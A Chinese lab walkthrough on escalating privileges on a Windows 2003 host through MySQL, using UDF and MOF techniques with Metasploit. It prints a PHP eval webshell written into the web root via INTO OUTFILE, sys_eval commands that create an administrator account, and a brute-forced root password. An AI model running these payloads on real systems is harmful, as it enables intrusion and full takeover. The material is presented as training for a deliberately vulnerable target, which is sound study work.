当前位置: 首页 > article >正文

Windows系统提权

一、环境准备

1、扫描IP

nmap -sn 192.168.112.0/24  ->192.168.112.194

2、扫描操作系统

nmap -O 192.168.112.194

从扫描结果可以看出,目标主机开放了80、445、3306和3389等端口,也就意味着有很多漏洞可以利用,但是本次实验,我们只拿MySQL开刀,不去利用其他漏洞,完成MySQL提权后,创建一个新的账号用于登录3389远程桌面,如登录成功,则实验成功

80  Web服务

445  SMB协议

3306  MySQL,尝试爆破

3389  远程桌面,利用超级管理员权限去新增一个管理员

我们先去爆破MySQL数据库的密码,账户随便写,只导入密码进行爆破的速度比两个都导入快,发现爆破成功(这只是靶场环境,仅作为演示)

二、UDF提权

1、信息获取

UDF即:user defined function,即用户自定义函数。本提权仅适用于MySQL 5.5.9以下版本,超出该版本无法利用成功。所以我们在Windows 2003的靶机上进行演示,Linux如果有对应版本也是可以的。

先通过爆破获取MySQL的账号,得到账密:root/qazwsx123,然后使用Navicat登录到MySQL,确认以下信息:

show variables like '%priv%'  #确认MySQL的写文件的权限,拥有任意路径的写权限
show variables like '%plugin%'  #确认MySQL的插件目录,并由此推断HTTP的主目录
select * from mysql.func where name = "sys_exec";  确认系统中并不存在sys_exec的函数,需要使用UDF自行定义

先用navicat连接到目标服务器,使用MySQL进行连接,连接成功

2、进入MSF进行漏洞利用

然后show options,设置一些必须要用到的参数,password、rhosts、rport、username

设置好之后,然后run

发现出现两个错误

上传动态链接库文件到C:/PHPnow/MySQL-5.1.50/lib/plugin这个目录下

告诉我们不能创建或写入到这个目录下(我们不知道是啥原因,是因为权限不够还是其他的原因,我们也不知道),接下来就不能打开动态链接库

检查sys_exec函数,发现不能用,我们之前通过select * from mysql.func where name = "sys_exec";这个语句去确定系统中存不存在这个函数,回显的内容告诉我们不存在

既然我们有写文件的权限,我们可以写入一句话木马,通过蚁剑进行连接,看看到底是什么原因导致的

select "<?php eval($_POST['code']); ?>" into outfile "C:/PHPnow/htdocs/shell.php"

使用蚁剑进行连接,发现那个目录下没有lib目录,所以这就是出现错误的原因,不是因为权限,而是因为没有这个目录,所以我们无法写入,接下来我们手动添加目录即可

 然后我们继续run一下,发现成功了

接着我们去查看一下这个函数是否存在,发现已经存在了

 这里面的文件必须和我们的函数对应上

我们可以使用sys_exec来执行一些命令 ,sys_exec指令无法返回结果,只能给我们返回状态码,0代表成功,非0代表失败

 我们可以在mysql数据库中的func表里面看到对应的函数定义,运行以下脚本创建用户自定义1函数

create function sys_eval returns string soname "pVnzEjux.dll";

如果能够执行成功,则利用MySQL的sys_eval函数创建新的用户和组,并完成远程登录3389登录

 这样我们就可以执行eval函数了

 使用命令woami看看这台主机的用户,是system权限的账号,然后我们就可以为所欲为了

select sys_eval("net user qiang 123456 /add");
select sys_eval("net localgroup /add administrators qiang");

执行这两条命令,执行完之后

我们再尝试去远程登录一下

发现登录成功,并且是超级管理员的角色

 

 三、MOF提权

MOF指的是托管对象格式(Managed Object Format),是一种文件类型,它(nullevt.mof)在C:\WINDOWS\system32\webem\mof\路径下,将会每隔一段时间以System权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。提权条件:

(1)mysql允许远程连接

(2)secure_file_priv的值为空

使用漏洞模块:exploit/windows/mysql/mysql_mof,从模块路径可以看出,该Payload仅针对Windows操作系统

 使用命令getid得知是系统用户,超级管理员权限

 


http://www.kler.cn/a/596323.html

相关文章:

  • Linux | 安装 Samba将ubuntu 的存储空间指定为windows 上的一个磁盘
  • leetcode日记(109)两数之和
  • 回调方法传参汇总
  • Python 网页爬取入门指南
  • 机器学习——KNN数据集划分
  • VBA-Excel
  • centos中anconda的一些操作
  • 记录一次Kafka重复消费的问题
  • 如何在百度搜索上删除与自己名字相关的资料
  • lua常用的库(time/math/package)
  • 阻止 Mac 在运行任务时进入休眠状态
  • Linux | 环境变量PATH+编写第一个自己的命令
  • datawhale组队学习--大语言模型—task4:Transformer架构及详细配置
  • cursor无限续杯软件操作教程
  • 【计算机网络】TCP协议技术细节全解析:与UDP的核心差异深度对比
  • 西交建筑学本科秋天毕业想转码,自学了Python+408,华为OD社招还是考研更香?
  • 水一个人的时候
  • Android11至15系统定制篇
  • 【论文阅读】大型语言模型能否实现软件漏洞的检测与修复?
  • 天地图InfoWindow插入React自定义组件